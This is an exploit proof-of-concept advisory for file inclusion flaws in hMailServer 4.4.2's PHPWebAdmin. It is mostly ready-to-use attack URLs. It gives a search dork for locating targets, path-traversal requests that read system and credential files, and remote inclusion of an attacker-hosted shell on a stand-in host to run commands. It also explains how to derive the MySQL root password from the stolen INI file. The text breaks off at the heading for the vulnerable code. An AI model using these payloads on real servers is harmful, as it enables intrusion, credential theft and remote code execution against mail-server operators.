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hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion poc
by Nine:Situations:Group::strawdog
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our site: http://retrogod.altervista.org
software site: http://www.hmailserver.com/
description: http://en.wikipedia.org/wiki/HMailServer
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google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin -site:hmailserver.com -dork
poc:
regardless of register_globals & magic_quotes_gpc:
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../../boot.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../Bin/hMailServer.INI%00
http://hostname/path_to_webadmin/index.php?page=background/../../MySQL/my.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../..
/../Program+Files/hmailserver/Bin/hmailserver.ini%00
with register_globals = on:
(prepare a functions.php folder on somehost.com with an index.html with your shell inside on
a php enabled server,
otherwise a functions.php shell on a php disabled one)
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/&cmd=dir
with register_globals = on & magic_quotes_gpc = off :
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\boot.ini%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/shell.txt%00&cmd=dir
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\Program+Files\hMailServer\Bin\hMailServer.INI%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=../Bin/hMailServer.INI%00
"Bin" folder can be found in a different location, disclose the path by simply calling:
http://hostname/path_to_webadmin/initialize.php
interesting file:
hMailServer.INI - contains two interesting fields:
- the "Administrator password" crypted with md5,
- by having knowledge of that you can calculate the MySQL root password,
specified in the "password" field.
You can do this by using the /Addons/Utilities/DecryptBlowfish.vbs script
(*)
vulnerable code, index.php: